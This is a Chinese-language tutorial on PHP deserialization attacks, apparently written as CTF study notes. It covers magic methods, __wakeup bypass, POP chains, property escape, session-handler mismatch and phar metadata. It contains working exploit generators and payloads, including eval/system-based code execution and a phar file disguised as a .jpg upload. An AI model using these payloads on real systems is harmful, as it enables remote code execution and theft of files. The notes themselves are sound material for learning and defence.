PHP反序列化
php面向对象基础知识
类
类:定义类名、定义成员变量(属性)、定义成员函数(方法)
1 2 3 4 5 6 7 8 9 10
| class Class_Name {
}
class hacker{ var $name; var $sex; function }
|
序列化基础知识
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| __construct() __destruct() __call() __callStatic() __get() __isset() __set() __unset() __sleep() __wakeup() __toString() __invoke() __set_state() __clone() __autoload() __debuginfo()
|
__construct()
构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); class User { public $username; public function __construct($username) { $this->username = $username; echo "触发了构造函数1次" ; } } $test = new User("benben"); $ser = serialize($test); unserialize($ser);
?>
|
__destruct()
析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的模式方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); class User { public function __destruct() { echo "触发了析构函数1次"."<br />" ; } } $test = new User("benben"); $ser = serialize($test); unserialize($ser);
?>
|
__sleep()
序列化serialize()
函数会检查类中是否存在一个魔术方法__sleep()
,如果存在,该方法会先被调用,然后才执行序列化操作。
1 2 3 4
| 触发时机:序列化serialize()之前 功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性 参数:成员属性 返回值:需要被序列化存储的成员属性
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); class User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { return array('username', 'nickname'); } } $user = new User('a', 'b', 'c'); echo serialize($user); ?>
|
__wakeup()
unserialize()
会检查是否存在一个__wakeup()
方法,如果存在,则会先调用__wakeup()
方法,预先准备对象需要的资源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); error_reporting(0); class User { const SITE = 'uusama'; public $username; public $nickname; private $password; private $order; public function __wakeup() { $this->password = $this->username; } } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; var_dump(unserialize($user_ser)); ?>
|
__wakeup()方法绕过
如果存在__wakeup()
方法,调用unserilize()
方法前则先调用__wakeup()
方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()
的执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php error_reporting(0); class secret{ var $file='index.php';
public function __construct($file){ $this->file=$file; }
function __destruct(){ include_once($this->file); echo $flag; }
function __wakeup(){ $this->file='index.php'; } } $cmd=$_GET['cmd']; if (!isset($cmd)){ highlight_file(__FILE__); } else{ if (preg_match('/[oc]:\d+:/i',$cmd)){ echo "Are you daydreaming?"; } else{ unserialize($cmd); } }
?>
|
构造
1 2 3 4 5 6 7 8 9
| <?php class secret{ var $file='flag.php';
} $a = 'O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}'; echo urlencode($a); ?>
|
__toString()
表达方式错误导致魔术方法触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); error_reporting(0); class User { var $benben = "this is test!!"; public function __toString() { return '格式不对,输出不了!'; } } $test = new User() ; print_r($test); echo "<br />"; echo $test; ?>
|
常用于构造POP链
__invoke()
格式表达错误导致模式方法触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php highlight_file(__FILE__); error_reporting(0); function hh(){ echo "对,这是一个函数"; } class User { var $benben = "this is test!!"; public function __invoke() { echo '它不是个函数!'; } } $test = new User() ; echo $test ->benben; echo "<br />"; echo $test() ->benben;
?>
|
错误调用相关魔术方法
__call()
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); error_reporting(0); class User { public function __call($arg1,$arg2) // 2个参数传参$arg1(调用的这个不存在的方法),$arg2(该方法传递的参数) { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test -> callxxx('a'); ?>
|
__callStatic()
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); error_reporting(0); class User { public function __callStatic($arg1,$arg2) // 2个传参$arg1,$arg2 { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test::callxxx('a'); ?>
|
__get()
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); class User { public $var1; public function __get($arg1) // 把不存在的属性名称var2赋值给$arg1 { echo $arg1; } } $test = new User() ; $test ->var2; ?>
|
__set()
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); class User { public $var1; public function __set($arg1 ,$arg2) // 传参$arg1,$arg2 { echo $arg1.','.$arg2; } } $test = new User() ; $test ->var2=1; ?>
|
__isset()
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); error_reporting(0); class User { private $var; public function __isset($arg1) // 传参$arg1 { echo $arg1; } } $test = new User() ; isset($test->var);
?>
|
__unset()
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); class User { private $var; public function __unset($arg1) // 传参$arg1 { echo $arg1; } } $test = new User() ; unset($test->var); ?>
|
__clone()
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php highlight_file(__FILE__); error_reporting(0); class User { private $var; public function __clone( ) { echo "__clone test"; } } $test = new User() ; $newclass = clone($test) ?>
|
POP链的构造思路知识
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class index { private $test; public function __construct(){ $this->test = new normal(); } public function __destruct(){ $this->test->action(); } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); } } unserialize($_GET['test']); ?>
|
关联点:如何让$test
调用eval
里的成员方法action()
解决思路:给$test
赋值为对象test = new evil()
构造序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class index { private $test; public function __construct(){ $this->test = new evil(); } }
class evil { var $test2="system('ls')"; } $a = new index(); echo serialize($a); ?>
|
魔术方法触发规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; } } $a = 'O:3:"sec":1:{s:6:"benben";N;}'; unserialize($a); $b='O:4:"fast":1:{s:6:"source";N;}' unserialize($b); ?>
|
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class fast { public $source; public function __wakeup(){ echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring(){ echo "tostring is here!!"; } } $b = $_GET['benben']; unserialize($b); ?>
|
构造触发__wakeup
和__tostring
的序列
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class fast { public $source; } class sec { var $benben; } $a = new sec(); $b = new fast();
$b -> source = $a; echo serialize($b); ?>
|
POP链构造编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php
class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>
|
利用POP链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
class Modifier { private $var='flag.php'; }
class Show{ public $source; public $str; }
class Test{ public $p; }
if(isset($_GET['pop'])){ unserialize($_GET['pop']); } $mod = new Modifier(); $test = new Test(); $test -> p=$mod; $show = new Show(); $show -> source = $show; $show -> str = $test; echo serialize($show) ?>
|
反序列化逃逸
基础
反序列化分隔符
在前面字符没有问题的情况下(成员属性数量一致;成员属性名称长度一致,内容长度一致),反序列化以;}
结束,后面的字符串不影响正常的反序列化
属性逃逸
一般在数据先经过serialize
再经过unserialize
,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸
字符串减少
反序列化字符串减少逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class A{ public $v1 = "abcsystem()system()system()"; public $v2 = '1234567";s:2:"v3";N;}";}';
} $data = serialize(new A()); $data = str_replace("system()","",$data); var_dump(unserialize($data)); ?>
|
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hk",$name); return $name; } class test{ var $user; var $pass; var $vip = false ; function __construct($user,$pass){ $this->user=$user; $this->pass=$pass; } } $param=$_GET['user']; $pass=$_GET['pass']; $param=serialize(new test($param,$pass)); $profile=unserialize(filter($param));
if ($profile->vip){ echo file_get_contents("flag.php"); } ?>
|
字符串增多
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符增多,突出多余代码,把多余位代码构造成逃逸的成员属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class A{ public $v1 = 'ls'; public $v2 = '123';
public function __construct($arga,$argc){ $this->v1 = $arga; $this->v2 = $argc; } } $a = $_GET['v1']; $b = $_GET['v2']; $data = serialize(new A($a,$b)); $data = str_replace("ls","pwd",$data);
var_dump(unserialize($data));
|
构造?v1=lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}
成功逃逸
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
function filter($name){ $safe=array("flag","php"); $name=str_replace($safe,"hack",$name); return $name; } class test{ var $user; var $pass='daydream'; function __construct($user){ $this->user=$user; } } $param=$_GET['param']; $param=serialize(new test($param)); $profile=unserialize(filter($param));
if ($profile->pass=='escaping'){ echo file_get_contents("flag.php"); }
|
构造?phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
引用
直接上例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php include("flag.php"); class just4fun { var $enter; var $secret; }
if (isset($_GET['pass'])) { $pass = $_GET['pass']; $pass=str_replace('*','\*',$pass); }
$o = unserialize($pass);
if ($o) { $o->secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$flag; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; ?>
|
构造poc
1 2 3 4 5 6 7 8 9 10
| <?php class just4fun { var $enter; var $secret; }
$a = new just4fun(); $a -> enter = &$a->secret; echo serialize($a); ?>
|
session反序列化漏洞
当session_start()
被调用或者php.ini
中session.auto_start
为1时,PHP内部调用会话管理器,访问用户session
被序列化以后,存储到指定目录(默认为/tmp
)
存取数据的格式有多种,常用的有三种
漏洞产生:写入格式和读取格式不一致
处理器 | 对应的存储格式 |
---|
php | 键名 + ` | ` + 经过serialize()函数序列化处理的值 |
php_serialize(php>=5.5.4) | 经过serialize()函数序列化处理的数组 |
php_binary | 键名的长度对应的ASCLL字符+键名+经过serialize()函数反序列处理的值 |
php格式
默认情况下用php
格数存储
1 2 3 4
| <?php session_start(); $_SESSION['benben'] = $_GET['ben']; ?>
|
?ben=haihaihai
—> benben|s:9:"haihaihai"
php_serialize格式
声明session
存储格式为php_serialize
1 2 3 4 5 6
| <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ?>
|
?ben=haihaihai&b=666
—> a:2:{s:6:"benben";s:9:"haihaihai";s:1:"b";s:3:"666";}
php_binary格式
声明session
存储格式为php_serialize
1 2 3 4 5 6
| <?php ini_set('session.serialize_handler','php_binary'); session_start(); $_SESSION['benben'] = $_GET['ben']; $_SESSION['b'] = $_GET['b']; ?>
|
?ben=haihaihai&b=666
—> 06 benbens:9:"haihaihai"; 01 bs:3:"666";
举个栗子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['ben'] = $_GET['a']; ?>
<?php ini_set('session.serialize_handler','php'); session_start();
class D{ var $a; function __destruct(){ eval($this->a); } } ?>
|
构造poc
1 2 3 4 5 6
| <?php class D{ var $a="system('ls');"; } echo serialize(new D()); ?>
|
但是因为存储我们传入的a
是用的是php_serialize
而读取这个的时候是用php
格式,所以我们要构造在上面的poc输出前加一个|
,这样我们在复去的时候会认为|
前的是键名,后面才是经过serialize()
序列化处理的值。也就是构造?a=|O:1:"D":1:{s:1:"a";s:13:"system('ls');";}
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php class Flag{ public $name; public $her; function __wakeup(){ $this->her=md5(rand(1, 10000)); if ($this->name===$this->her){ include('flag.php'); echo $flag; } } } ?>
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['a'] = $_GET['a']; ?>
|
构造序列化poc
1 2 3 4 5 6 7 8 9
| <?php class Flag{ public $name; public $her; } $a = new Flag(); $a -> name = &$a -> her; echo serialize($a); ?>
|
和之前那个例子一样,也是用php_serialize
进行存储,然后用php
格式进行读取,只要在poc
输出的这个序列前加上一个|
传给GET /hint.php
的变量a
,也就是?a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}
就可以了,这时候再去访问原页面就可以拿到flag了
phar反序列化
原理
phar
(“php ARchive
“)是类似于jar
的一种打包文件,jar
是开发Java
程序的一个应用,包括所有的可执行可访问的文件,都打包进了一个jar
文件里,使得部署过程十分简单。
对于PHP 5.3
或更高版本,phar
后缀文件是默认开启支持的,可以直接使用它。
文件包含:phar伪协议,可读取.phar
文件。
结构
stub phar
文件标识,格式为xxx<?php xxx; ___HALT_COMPiLER();?>
(头部信息)
manifest
压缩文件的实行等信息,以系列化存储
contents
压缩文件的内容
signature
签名,放在文件末尾
Phar
协议解析文件时,会自动触发对manifest
字段的序列化字符串进行反序列化
Phar
需要PHP >= 5.2
在php.ini
中将phar.readonly
设为Off
(注意去掉前面的分号)
受影响的函数 | | | |
---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | parse_ini_file | copy |
unlink | stat | readfile | …. |
举个栗子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php class Testobj { var $output="echo 'ok';"; function __destruct() // __destruct把output(echo 'ok';)值调用并输出 { eval($this->output); } } if(isset($_GET['filename'])) { $filename=$_GET['filename']; var_dump(file_exists($filename)); } ?>
<?php class Testobj { var $output=''; }
@unlink('test.phar'); $phar=new Phar('test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o=new Testobj(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
在漏洞源码页面构造?filename=phar://test.phar&a=system("ls");
利用成功
使用条件
- phar文件能上传到服务器端
- 要有可用反序列化魔术方法作为跳板
- 要有文件操作函数,如
file_exists() fopen() file_get_contents()
- 文件操作参数可控,且
: / phar
等特殊字符没有被过滤
例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); error_reporting(0); class TestObject { public function __destruct() { include('flag.php'); echo $flag; } } $filename = $_POST['file']; if (isset($filename)){ echo md5_file($filename); }
?>
|
访问/upload.php
是个文件上传页面
poc
=> 生成.phar
文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class TestObject { }
@unlink('poc.phar'); $phar=new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $o=new Testobj(); $phar->setMetadata($o); $phar->addFromString("test.txt","test"); $phar->stopBuffering(); ?>
|
但是无法上传.phar
文件,那么试试给后缀改成.jpg
上传,上传成功
然后访问原页面,在请求体添加file=phar://upload/poc.jpg
,拿到flag